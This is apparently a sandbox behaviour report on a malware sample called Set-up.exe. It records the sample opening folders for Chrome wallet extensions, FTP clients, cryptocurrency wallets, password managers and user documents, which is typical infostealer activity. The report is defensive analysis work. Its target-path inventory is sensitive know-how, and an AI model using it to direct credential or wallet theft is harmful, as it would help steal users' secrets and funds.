Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gjhohodkpobnogbepojmopnaninookhj Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\apbldaphppcdfbdnnogdikheafliigcf Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnmbobjmhlngoefaiojfljckilhhlhcj Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nofkfblpeailgignhkbnapbephdnmbmn Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jngbikilcgcnfdbmnmnmnleeomffciml Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pdadjkfkgcafgbceimcpbkalnfnepbnk Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\odbfpeeihdkbihmopkbjmoonfanlbfcl Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mgffkfbidihjpoaomajlbgchddlicgpn Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gafhhkghbfjjkeiendhlofajokpaflmk Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\odpnjmimokcmjgojhnhfcnalnegdjmdn Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lnnnmfcpbkafcpgdilckhmhbkkbpkmid Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\eklfjjkfpbnioclagjlmklgkcfmgmbpg Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hmglflngjlhgibbmcedpdabjmcmboamo Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kmhcihpebfmpgmihbkipmjlmmioameka Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egdddjbjlcjckiejbbaneobkpgnmpknp Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj Jump to behavior
Tries to harvest and steal ftp login credentials
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\All Users\AppData\Roaming\FTPInfo Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Default User\AppData\Roaming\Notepadu002Bu002B\plugins\config\NppFTP Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Public\AppData\Roaming\Conceptworld\Notezilla Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Default\AppData\Roaming\Estsoft\ALFTP Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Public\AppData\Roaming\FTP Now Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\All Users\AppData\Roaming\Notepadu002Bu002B\plugins\config\NppFTP Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Default User\AppData\Roaming\Conceptworld\Notezilla Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Default\AppData\Roaming\FTPBox Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\All Users\AppData\Roaming\Estsoft\ALFTP Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Roaming\BlazeFtp Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Default User\AppData\Roaming\Estsoft\ALFTP Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\All Users\AppData\Roaming\Conceptworld\Notezilla Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\All Users\AppData\Roaming\FTPBox Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Default User\AppData\Roaming\FTPBox Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Default\AppData\Local\INSoftware\NovaFTP Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Roaming\BitKinex Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Roaming\Estsoft\ALFTP Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Roaming\FTPGetter Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Public\AppData\Roaming\Estsoft\ALFTP Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\All Users\AppData\Roaming\FTP Now Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Default\AppData\Roaming\Notepadu002Bu002B\plugins\config\NppFTP Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Public\AppData\Local\INSoftware\NovaFTP Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\All Users\AppData\Roaming\BlazeFtp Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Default\AppData\Roaming\GHISLER Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Default User\AppData\Roaming\GHISLER Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Program Files (x86)\GoFTP\settings Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\All Users\AppData\Local\INSoftware\NovaFTP Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\All Users\AppData\Roaming\FTPGetter Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Default User\AppData\Roaming\FTPGetter Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Default\AppData\Roaming\FTP Now Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Public\AppData\Roaming\Notepadu002Bu002B\plugins\config\NppFTP Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Public\AppData\Roaming\FTPGetter Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Default\AppData\Roaming\BitKinex Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Roaming\FTPInfo Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Roaming\Notepadu002Bu002B\plugins\config\NppFTP Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Default User\AppData\Roaming\BlazeFtp Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\All Users\AppData\Roaming\UltraFXP Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Public\AppData\Roaming\UltraFXP Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Default\AppData\Roaming\FTPGetter Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\All Users\AppData\Roaming\GHISLER Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Roaming\FTPBox Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Roaming\UltraFXP Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Default\AppData\Roaming\BlazeFtp Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Default\AppData\Roaming\UltraFXP Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Public\AppData\Roaming\FTPInfo Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Default User\AppData\Roaming\FTP Now Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Default\AppData\Roaming\FTPInfo Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Public\AppData\Roaming\BitKinex Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\All Users\AppData\Roaming\BitKinex Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Public\AppData\Roaming\FTPBox Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Default User\AppData\Roaming\FTPInfo Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Default User\AppData\Roaming\BitKinex Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Roaming\FTP Now Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Public\AppData\Roaming\GHISLER Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Program Files (x86)\DeluxeFTP Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Default User\AppData\Local\INSoftware\NovaFTP Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Default User\AppData\Roaming\UltraFXP Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Public\AppData\Roaming\BlazeFtp Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Default\AppData\Roaming\Conceptworld\Notezilla Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\INSoftware\NovaFTP Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Roaming\GHISLER Jump to behavior
Tries to steal Crypto Currency Wallets
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\All Users\AppData\Roaming\Guarda\Local Storage\leveldb Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Default\AppData\Roaming\Guarda\Local Storage\leveldb Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Default User\AppData\Roaming\Guarda\Local Storage\leveldb Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Public\AppData\Roaming\Guarda\Local Storage\leveldb Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\All Users\AppData\Roaming\WalletWasabi\Client\Wallets Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Default\AppData\Roaming\WalletWasabi\Client\Wallets Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Default User\AppData\Roaming\WalletWasabi\Client\Wallets Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Roaming\WalletWasabi\Client\Wallets Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Public\AppData\Roaming\WalletWasabi\Client\Wallets Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\All Users\AppData\Roaming\Armory Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Default\AppData\Roaming\Armory Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Default User\AppData\Roaming\Armory Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Roaming\Armory Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Public\AppData\Roaming\Armory Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\All Users\AppData\Roaming\DashCore\wallets Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Default\AppData\Roaming\DashCore\wallets Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Default User\AppData\Roaming\DashCore\wallets Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Roaming\DashCore\wallets Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Public\AppData\Roaming\DashCore\wallets Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\All Users\AppData\Roaming\Bitcoin\wallets Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Default\AppData\Roaming\Bitcoin\wallets Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Default User\AppData\Roaming\Bitcoin\wallets Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Public\AppData\Roaming\Bitcoin\wallets Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\All Users\AppData\Roaming\Binance Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Default\AppData\Roaming\Binance Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Default User\AppData\Roaming\Binance Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Roaming\Binance Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Public\AppData\Roaming\Binance Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\All Users\AppData\Roaming\Electrum\wallets Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Default\AppData\Roaming\Electrum\wallets Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Default User\AppData\Roaming\Electrum\wallets Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Public\AppData\Roaming\Electrum\wallets Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\All Users\AppData\Roaming\Electrum-LTC\wallets Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Default\AppData\Roaming\Electrum-LTC\wallets Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Default User\AppData\Roaming\Electrum-LTC\wallets Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Public\AppData\Roaming\Electrum-LTC\wallets Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\All Users\AppData\Roaming\Exodus Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Default\AppData\Roaming\Exodus Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Default User\AppData\Roaming\Exodus Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Roaming\Exodus Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Public\AppData\Roaming\Exodus Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\All Users\AppData\Roaming\BBQCoin Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Default\AppData\Roaming\BBQCoin Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Default User\AppData\Roaming\BBQCoin Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Roaming\BBQCoin Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Public\AppData\Roaming\BBQCoin Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\All Users\AppData\Roaming\Megacoin Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Default\AppData\Roaming\Megacoin Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Default User\AppData\Roaming\Megacoin Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Roaming\Megacoin Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Public\AppData\Roaming\Megacoin Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\All Users\AppData\Roaming\Mincoin Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Default\AppData\Roaming\Mincoin Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Default User\AppData\Roaming\Mincoin Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Roaming\Mincoin Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Public\AppData\Roaming\Mincoin Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\All Users\AppData\Roaming\Namecoin Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Default\AppData\Roaming\Namecoin Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Default User\AppData\Roaming\Namecoin Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Roaming\Namecoin Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Public\AppData\Roaming\Namecoin Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\All Users\AppData\Roaming\Primecoin Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Default\AppData\Roaming\Primecoin Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Default User\AppData\Roaming\Primecoin Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Roaming\Primecoin Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Public\AppData\Roaming\Primecoin Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\All Users\AppData\Roaming\Terracoin Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Default\AppData\Roaming\Terracoin Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Default User\AppData\Roaming\Terracoin Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Roaming\Terracoin Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Public\AppData\Roaming\Terracoin Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\All Users\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Default\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Default User\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Public\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\All Users\AppData\Roaming\atomic\Local Storage\leveldb Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Default\AppData\Roaming\atomic\Local Storage\leveldb Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Default User\AppData\Roaming\atomic\Local Storage\leveldb Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Public\AppData\Roaming\atomic\Local Storage\leveldb Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\All Users\AppData\Roaming\Daedalus Mainnet\wallets Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Default\AppData\Roaming\Daedalus Mainnet\wallets Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Default User\AppData\Roaming\Daedalus Mainnet\wallets Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Roaming\Daedalus Mainnet\wallets Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Public\AppData\Roaming\Daedalus Mainnet\wallets Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\All Users\AppData\Roaming\Coinomi\Coinomi\wallets Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Default\AppData\Roaming\Coinomi\Coinomi\wallets Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Default User\AppData\Roaming\Coinomi\Coinomi\wallets Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Public\AppData\Roaming\Coinomi\Coinomi\wallets Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\All Users\AppData\Roaming\Ledger Live Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Default\AppData\Roaming\Ledger Live Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Default User\AppData\Roaming\Ledger Live Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Public\AppData\Roaming\Ledger Live Jump to behavior
Tries to steal from password manager
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\All Users\AppData\Local\1Password\data Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Default\AppData\Local\1Password\data Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Local\1Password\data Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Public\AppData\Roaming\Bitwarden Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Default\AppData\Roaming\Bitwarden Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Roaming\Bitwarden Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\user\AppData\Roaming\NordPass Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Public\AppData\Roaming\NordPass Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Default User\AppData\Local\1Password\data Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Default User\AppData\Roaming\Bitwarden Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\All Users\AppData\Roaming\Bitwarden Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Default User\AppData\Roaming\NordPass Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\All Users\AppData\Roaming\NordPass Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Default\AppData\Roaming\NordPass Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe File opened: C:\Users\Public\AppData\Local\1Password\data Jump to behavior
Searches for user specific document files
Source: C:\Users\user\Desktop\Set-up.exe Directory queried: C:\Users\Default\Documents Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Directory queried: C:\Users\Default\Documents Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Directory queried: C:\Users\Default\Documents Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Directory queried: C:\Users\Default\Documents Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Directory queried: C:\Users\Default\Documents Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Directory queried: C:\Users\Default\Documents Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Directory queried: C:\Users\user\Documents\AFWAAFRXKO Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Directory queried: C:\Users\user\Documents\AFWAAFRXKO Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Directory queried: C:\Users\user\Documents\DVWHKMNFNN Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Directory queried: C:\Users\user\Documents\DVWHKMNFNN Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Directory queried: C:\Users\user\Documents\RAYHIWGKDI Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Directory queried: C:\Users\user\Documents\RAYHIWGKDI Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Directory queried: C:\Users\user\Documents\AFWAAFRXKO Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Directory queried: C:\Users\user\Documents\AFWAAFRXKO Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Directory queried: C:\Users\user\Documents\DTBZGIOOSO Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Directory queried: C:\Users\user\Documents\DTBZGIOOSO Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Directory queried: C:\Users\user\Documents\DVWHKMNFNN Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Directory queried: C:\Users\user\Documents\DVWHKMNFNN Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe Directory queried: C:\Users\user\Documents\MNULNCRIYC Jump to behavior
